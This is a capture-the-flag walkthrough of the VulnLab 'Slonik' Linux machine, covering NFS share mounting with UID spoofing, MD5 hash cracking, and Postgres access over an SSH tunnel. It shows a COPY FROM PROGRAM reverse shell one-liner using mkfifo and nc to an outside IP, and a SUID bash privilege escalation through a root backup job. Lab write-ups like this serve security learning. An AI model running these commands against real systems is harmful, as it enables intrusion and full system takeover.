9 minutes
VulnLab - Slonik
Slonik is a Medium level Linux machine from VulnLab
Enumeration
We start by running nmap
to see what ports are open and then work through these logically.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCg2ZwoeeTHpT0NE9y1kgjXCoLjxWI1WocvyxcphoTOikVc/BKLBjSRv3k5cnDz1O5EodAsYYJipkYxKxNXLcPY=
| 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY88SdKd54ftUGvVdXkYtlmsHDrKGeGVgu6PykWXISO
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 36917/tcp mountd
| 100005 1,2,3 44438/udp6 mountd
| 100005 1,2,3 51292/udp mountd
| 100005 1,2,3 56671/tcp6 mountd
| 100021 1,3,4 32859/tcp nlockmgr
| 100021 1,3,4 43699/tcp6 nlockmgr
| 100021 1,3,4 56597/udp nlockmgr
| 100021 1,3,4 58920/udp6 nlockmgr
| 100024 1 34401/udp status
| 100024 1 35531/tcp status
| 100024 1 44069/tcp6 status
| 100024 1 55774/udp6 status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl syn-ack ttl 63 3 (RPC #100227)
32859/tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
35531/tcp open status syn-ack ttl 63 1 (RPC #100024)
36917/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
37743/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
58263/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
SSH
We check to see if password login is enabled and can confirm that it is. We can come back and revisit this if we find some credentials later.
❯ ssh root@slonik.vl
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(root@slonik.vl) Password:
RPC
The nmap
scan and rpcinfo slonik.vl
output show NFS services running, suggesting we can enumerate and mount NFS shares on this system.
NFS
Moving our focus to NFS, we are able to list shares
❯ showmount -e $IP
Export list for 10.10.70.64:
/var/backups *
/home *
We have been able to mount both of those directories
❯ sudo mount -t nfs $IP:/var/backups backups -o nolock
[sudo] password for kali:
❯ ls backups
.rw-r--r--@ 31k root 24 Oct 2023 apt.extended_states.0
.rw-r--r--@ 4.7M root 4 Feb 15:04 archive-2025-02-04T0704.zip
❯ sudo mount -t nfs $IP:/home home -o nolock
❯ ls home
drwxr-x--- - 1337 24 Oct 2023 service
The backup directory is creating a new file every 1 minute
We notice that the /home
share has ownership for user 1337, so we created a user account with the same UID sudo useradd -u 1337 -M -s /bin/bash n3ph0s
and we have been able to access the share
n3ph0s@kali:/home/kali/Hacking/VulnLab/Slonik/home/service$ ls -laR
.:
total 40
drwxr-x--- 5 n3ph0s n3ph0s 4096 Oct 24 2023 .
drwxr-xr-x 3 root root 4096 Oct 24 2023 ..
-rw-rw-r-- 1 n3ph0s n3ph0s 90 Oct 24 2023 .bash_history
-rw-r--r-- 1 n3ph0s n3ph0s 220 Oct 24 2023 .bash_logout
-rw-r--r-- 1 n3ph0s n3ph0s 3771 Oct 24 2023 .bashrc
drwx------ 2 n3ph0s n3ph0s 4096 Oct 24 2023 .cache
drwxrwxr-x 3 n3ph0s n3ph0s 4096 Oct 24 2023 .local
-rw-r--r-- 1 n3ph0s n3ph0s 807 Oct 24 2023 .profile
-rw------- 1 n3ph0s n3ph0s 326 Oct 24 2023 .psql_history
drwxrwxr-x 2 n3ph0s n3ph0s 4096 Oct 24 2023 .ssh
./.cache:
total 8
drwx------ 2 n3ph0s n3ph0s 4096 Oct 24 2023 .
drwxr-x--- 5 n3ph0s n3ph0s 4096 Oct 24 2023 ..
-rw-r--r-- 1 n3ph0s n3ph0s 0 Oct 24 2023 motd.legal-displayed
./.local:
total 12
drwxrwxr-x 3 n3ph0s n3ph0s 4096 Oct 24 2023 .
drwxr-x--- 5 n3ph0s n3ph0s 4096 Oct 24 2023 ..
drwx------ 3 n3ph0s n3ph0s 4096 Oct 24 2023 share
./.local/share:
total 12
drwx------ 3 n3ph0s n3ph0s 4096 Oct 24 2023 .
drwxrwxr-x 3 n3ph0s n3ph0s 4096 Oct 24 2023 ..
drwx------ 2 n3ph0s n3ph0s 4096 Oct 24 2023 nano
./.local/share/nano:
total 8
drwx------ 2 n3ph0s n3ph0s 4096 Oct 24 2023 .
drwx------ 3 n3ph0s n3ph0s 4096 Oct 24 2023 ..
./.ssh:
total 16
drwxrwxr-x 2 n3ph0s n3ph0s 4096 Oct 24 2023 .
drwxr-x--- 5 n3ph0s n3ph0s 4096 Oct 24 2023 ..
-rw------- 1 n3ph0s n3ph0s 96 Oct 24 2023 authorized_keys
-rw-r--r-- 1 n3ph0s n3ph0s 96 Oct 24 2023 id_ed25519.pub
We have viewed the .psql_history
and this contains hashed credentials that may be of use to use later if we are able to crack them.
n3ph0s@kali:/home/kali/Hacking/VulnLab/Slonik/home/service$ cat .psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2'WHERE', network access account');
select * from users;
\q
We have been able to crack the hash hashcat hash /usr/share/wordlists/rockyou.txt -m 0
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
aaabf0d39951f3e6c3e8a7911df524c2:service
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: aaabf0d39951f3e6c3e8a7911df524c2
Time.Started.....: Tue Feb 4 15:18:29 2025 (0 secs)
Time.Estimated...: Tue Feb 4 15:18:29 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Continuing our enumeration, we also find the following in bash_history
n3ph0s@kali:/home/kali/Hacking/VulnLab/Slonik/home/service$ cat .bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
Having fully enumerated the data that we have found specifically in the home directory, we have been able to authenticate and login to SSH with service:service
but we are automatically disconnected
❯ ssh service@slonik.vl
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@slonik.vl) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-1014-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Feb 4 07:18:51 UTC 2025
System load: 0.0 Processes: 124
Usage of /: 31.3% of 7.57GB Users logged in: 0
Memory usage: 23% IPv4 address for ens5: 10.10.70.64
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Oct 24 13:11:33 2023 from 10.10.1.254
Connection to slonik.vl closed.
Initial Foothold
You will recall that we found that port 5432 (Postgres) was open in the bash_history
and can pivot to that with the command ssh -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@slonik.vl -N
and we can confirm that has worked as we have been able to connect to the Postgres database
❯ psql -U postgres -h 127.0.0.1 -p 5432
psql (17.2 (Debian 17.2-1+b2), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
Type "help" for help.
postgres=#
We check current database user and our permissions and note that we have Superuser permissions
postgres=# \du
List of roles
Role name | Attributes
-----------+------------------------------------------------------------
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS
postgres=# select current_user, session_user;
current_user | session_user
--------------+--------------
postgres | postgres
(1 row)
With superuser permissions we see if can use copy
to read files, which has been successful
postgres=# SELECT pg_read_file('/etc/passwd', 0, (SELECT pg_relation_size('pg_authid')));
pg_read_file
-------------------------------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash +
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +
bin:x:2:2:bin:/bin:/usr/sbin/nologin +
sys:x:3:3:sys:/dev:/usr/sbin/nologin +
sync:x:4:65534:sync:/bin:/bin/sync +
games:x:5:60:games:/usr/games:/usr/sbin/nologin +
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin +
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin +
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin +
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin+
syslog:x:104:111::/home/syslog:/usr/sbin/nologin +
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin +
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false +
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin +
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin +
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin +
pollinate:x:110:1::/var/cache/pollinate:/bin/false +
landscape:x:111:116::/var/lib/landscape:/usr/sbin/nologin +
fwupd-refresh:x:112:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin +
ec2-instance-connect:x:113:65534::/nonexistent:/usr/sbin/nologin +
_chrony:x:114:121:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin +
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false +
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash +
_rpc:x:116:65534::/run/rpcbind:/usr/sbin/nologin +
statd:x:117:65534::/var/lib/nfs:/usr/sbin/nologin +
service:x:1337:1337:,,,,default password:/home/service:/bin/false +
(1 row)
We do some research to see how we could exploit this either by command execution or file write and we find an interesting article which talks about how we can use the copy
command to get command execution. This proves to be successful in that we have been able to create a table and then pass in a reverse shell command.
postgres=# CREATE TABLE shell(output text);
CREATE TABLE
postgres=# COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.4.179 443 >/tmp/f';
With our listener, we have gotten a shell
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.8.4.179] from (UNKNOWN) [10.10.70.64] 47610
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
$
After stabilizing our shell, we have found the user flag in /var/lib/postgresql/user.txt
Privilege Escalation
Before we start with manual enumeration, we download and run pspy64
from our machine to see what is happening in the background and the following stands out
2025/02/04 08:23:02 CMD: UID=0 PID=3421 | /bin/bash /usr/bin/backup
2025/02/04 08:23:03 CMD: UID=0 PID=3422 | /bin/bash /usr/bin/backup
2025/02/04 08:23:03 CMD: UID=0 PID=3423 | /bin/bash /usr/bin/backup
The following is the content of the /usr/bin/backup
script
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi
As anything that is in the main Postgres Directory is backed up we can copy /bin/bash
to this directory and set SUID bit on it. When the job executes as root and it is copied across to /opt/backups/current
it will have root ownership permissions and with SUID permissions we will be able to execute it with root privileges
postgres@slonik:/var/lib/postgresql/14/main$ cp /bin/bash badbash
postgres@slonik:/var/lib/postgresql/14/main$ chmod 4755 badbash
We wait for the background job to run, execute the binary and we are root
postgres@slonik:/opt/backups/current$ ./badbash -p
postgres@slonik:/opt/backups/current$ ./badbash -p
badbash-5.1# whoami
root
We have the flag and the machine is Pwned!